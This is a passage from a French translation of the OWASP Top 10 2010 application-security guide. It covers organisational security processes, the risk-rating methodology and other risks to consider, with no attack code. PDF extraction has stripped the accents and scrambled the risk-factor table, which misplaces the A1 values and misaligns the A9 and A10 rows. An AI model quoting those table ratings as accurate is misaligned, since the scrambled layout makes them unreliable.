dans les
Process
Existants

Offrir de la
Visibilt
de Gestion

Dfinissez un recueil de directives et de standards, qui sera le rfrentiel de Scurit auquel devront
adhrer toutes les quipes de dveloppement.
Associez-y un ensemble de contrles de Scurit rutilisables, et fournissez la documentation qui
explique comment les utiliser pendant le design et le dveloppement.
Dfinissez un cursus de formation obligatoire la Scurit des Applications, qui sera adapt aux
diffrents rles et domaines des mtiers du dveloppement.

Ajoutez des tches dimplmentation et de vrification de la Scurit dans vos processus

oprationnels et de dveloppement, comme par exemple l'tude des menaces, design et revue de
design, audit, codage et revue de code orients Scurit, tests de pntration, mise en conformit,
etc...
Mettez en place les experts techniques et le support ncessaire pour assurer la russite du
dveloppement et des quipes projet.

Managez grce aux mtriques. Dcidez des volutions et des activits de fond en fonction des retours
terrain et de leur analyse. Par exemple, le respect des consignes et des tches de scurit, les
vulnrabilits introduites et rsolues, la couverture des applications, etc...
Analysez les remontes du dveloppement et de la validation pour identifier la cause des problmes
et la raison des vulnrabilits, dans le but de lancer des amliorations dans l'entreprise, tant sur le
plan stratgique qu'organisationnel.

+R

Remarques au sujet des

risques

Il s'agit de Risques, Non de Failles

Si les versions prcdentes du Top 10 de l'OWASP mettaient en avant l'identification des "vulnrabilits" les plus communes, ces
documents ont jusqu prsent toujours t construits autours des risques associs. Ceci a eu pour effet de crer quelques
confusions comprhensibles chez ceux qui cherchaient une taxinomie hermtique des failles. Cette version clarifie le rle central
du risque dans le Top 10 en tant plus explicite sur la faon dont les lments menaants, vecteurs d'attaques, failles, impacts
techniques, et impacts mtiers se combinent pour produire des risques.
Pour ce faire, une mthodologie de classement des Risques a t spcifiquement dveloppe pour le Top 10, base sur la
mthodologie OWASP Risk Rating Methodology. Pour chaque item du Top 10, nous avons estim le risque type introduit par les
failles les plus communes auprs d'une application web typique en regardant les facteurs de probabilits et d'impact moyens de
chacune de ces failles. Nous avons class le Top 10 en fonction des failles qui prsentent le risque le plus significatif pour une
application.
La mthodologie OWASP Risk Rating Methodology dfinie de nombreux facteurs pour aider calculer le risque associ une
vulnrabilit identifie. Cependant, le Top 10 parle de gnralits et non de vulnrabilits spcifiques des applications relles. Il
ne nous est donc pas possible dtre aussi prcis que le responsable dun systme dans l'estimation des risques pesant sur leur(s)
application(s). Nous ne connaissons ni limportance de vos applications, ni celle de vos donnes, ni vos menaces, ni comment
votre systme a t construit, ni comment il est gr.
Pour chaque faille identifie, notre mthodologie inclut trois facteurs de probabilit (prvalence, dtection, exploitabilit) et un
facteur d'impact (technique). La prvalence d'une faille est un facteur que vous navez typiquement pas calculer. Pour les
donnes de prvalence, des entreprises dhorizons varis nous ont fourni leur statistiques que nous avons rassembles et
moyennes pour obtenir la liste Top 10 des probabilits dexistence des failles classes par prvalence. Ensuite, chaque donne
de prvalence a t combine avec les deux autres facteurs de probabilits (dtection et exploitabilit) pour calculer un taux de
vraisemblance de chaque faille. Enfin, ce taux a t multipli par limpact technique moyen que nous avons estim pour aboutir
un classement du risque global de chaque item du Top 10.
Notez que cette approche ne tient pas compte des probabilits des menaces. Elle ne considre pas non plus les nombreux dtails
techniques propres vos applications. Tous ces facteurs peuvent pourtant avoir une incidence significative sur la probabilit
offerte un attaquant de trouver et dexploiter une vulnrabilit particulire. Ce classement ne tient pas compte non plus de
l'impact effectif sur votre mtier. Votre entreprise devra statuer sur le niveau de risque scurit qu'elle est en mesure daccepter
de ses applications. Le Top 10 na pas pour but de faire cette analyse de risque votre place.
En guise d'exemple, le schma suivant illustre notre calcul de risque pour l'item A2: Cross-Site Scripting. Notez que les failles XSS
sont si frquentes que ce sont les seules avoir une frquence TRES REPANDUE . Tout les autres risques sont classs de
rpandu peu commun (valeurs 1 3).

Agents de Menace

__________

Vulnrabilit
de scurit

Vecteurs
dattaque

Impacts
technique

Exploitabilit
MOYENNE

Frquence
TRES REPANDUE

Detection
FACILE

Impact
MODERE

Impacts
mtier

__________

+F

Details sur les facteurs de

risques

Rsum des Facteurs de Risques du Top 10

Le tableau ci-dessous prsente un rsum du Top 10 2010 des Risques de Scurit des Applications, ainsi que les facteurs de
risque que nous avons attribus chaque risque. Ces facteurs sont issus des donnes statistiques disponibles et de
lexprience de lquipe de lOWASP. Pour comprendre les risques pesant sur une application ou une entreprise, vous devez
tenir compte de vos propres menaces et impacts mtiers. Mme les failles logicielles flagrantes ne devraient pas reprsenter
un risque srieux sil nexiste aucun lment de menace en position de mener une attaque ou si limpact mtier est
ngligeable pour les biens en jeux.

RISQUE

Elments
Menaants

Vecteurs
dAttaque

Exploitabilit

Impacts
Techniques

Faille de
Scurit

Prdominance

Dtection

Impact

FACILE

COMMUNE

DIFFICILE

SEVERE

A2-XSS

DIFFICILE

TRES REPANDUE

FACILE

MODERE

A3-Authent

DIFFICILE

COMMUNE

DIFFICILE

SEVERE

A4-DOR

FACILE

COMMUNE

FACILE

MODERE

A5-CSRF

DIFFICILE

REPANDUE

FACILE

MODERE

A6-Config

FACILE

COMMUNE

FACILE

MODERE

A7-Crypto

MOYENNE

PEU COMMUNE

MOYENNE

SEVERE

A8-Accs URL

FACILE

PEU COMMUNE

DIFFICILE

MODERE

A9-Transport

MOYENNE

FACILE

MODERE

FACILE

MODERE

A1-Injection

A10-Redirections

DIFFICILE

COMMUNE
PEU COMMUNE

Impacts
Mtier

Autres Risques Considrer

Le Top 10 couvre de nombreux domaines, cependant dautres risques sont considrer et valuer dans votre entreprise.
Quelques uns apparaissaient dans les versions prcdentes du Top 10, dautres non, parmi lesquels les nouvelles techniques
dattaque qui apparaissent en permanence. Exemple d'autres risques importants de scurit applicatifs (lists par ordre
alphabtique) que vous devriez galement considrer:
Le Clickjacking (Technique dattaque rcente dcouverte en 2008)
Les accs concurrentiels
Les dnis de service (Entre A9 du Top 10 2004)
Les fuites dinformation et la mauvaise gestion des erreurs (Inclus dans lentre A6 du Top 10 2007)
Le manque de mesures danti-automatisation
La gestion insuffisante des logs et de limputabilit (lies lentre A6 du Top 10 2007)
Le manque de dtection d intrusion et de rponse intrusion
Lexcution de fichiers malicieux (Entre A3 du Top 10 2007)

LES ICONES CI-DESSOUS REPRESENTENT LES

DIFFERENTES VERSIONS DISPONIBLES POUR LE
TITRE DE CET OUVRAGE

VOUS ETES LIBRES :

de partager - copier, distribuer et
transmettre ce travail

ALPHA: Le contenu de Qualit Alpha est un brouillon de

travail. C'est une esquisse en dveloppement jusqu'au niveau
de publication suprieur.

BETA: Le contenu de Qualit Beta correspond au niveau de

publication suivant. Il reste en dveloppement jusqu' la
prochaine publication.

RELEASE: Le contenu de Qualit Release et le niveau de

qualit le plus haut dans le cycle de vie d'un livre, c'est un
produit finalis.

de remixer - d'adapter ce travail

SOUS LES CONDITIONS SUIVANTES:

Attribution - Vous devez attribuer ce travail
conformment la spcification des auteurs
ou concdants (mais sans jamais suggrer
qu'ils vous soutiennent ou approuvent
l'usage que vous en fates
Partage des Conditions Initiales l'Identique Si vous altrez, transformez ou vous
appuyez sur ce travail, vous devez distribuer
le travail rsultant uniquement sous la
mme licence, sous une licence similaire ou
sous une licence compatible.

LOpen Web Application Security Project (OWASP) est une communaut mondiale libre et ouverte focalise sur
l'amlioration de la scurit des applications logicielles. Notre mission est de rendre la scurit des applications "visible",
pour que les particuliers et les entreprises puissent prendre des dcisions tenant compte des risques de scurit lis aux
applications. Chacun est libre de participer l'OWASP et toutes nos ressources sont disponibles sous licence libre et
gratuite. La fondation OWASP est une association but non lucratif de type 501c3 qui garantit la disponibilit future et
le support de nos travaux.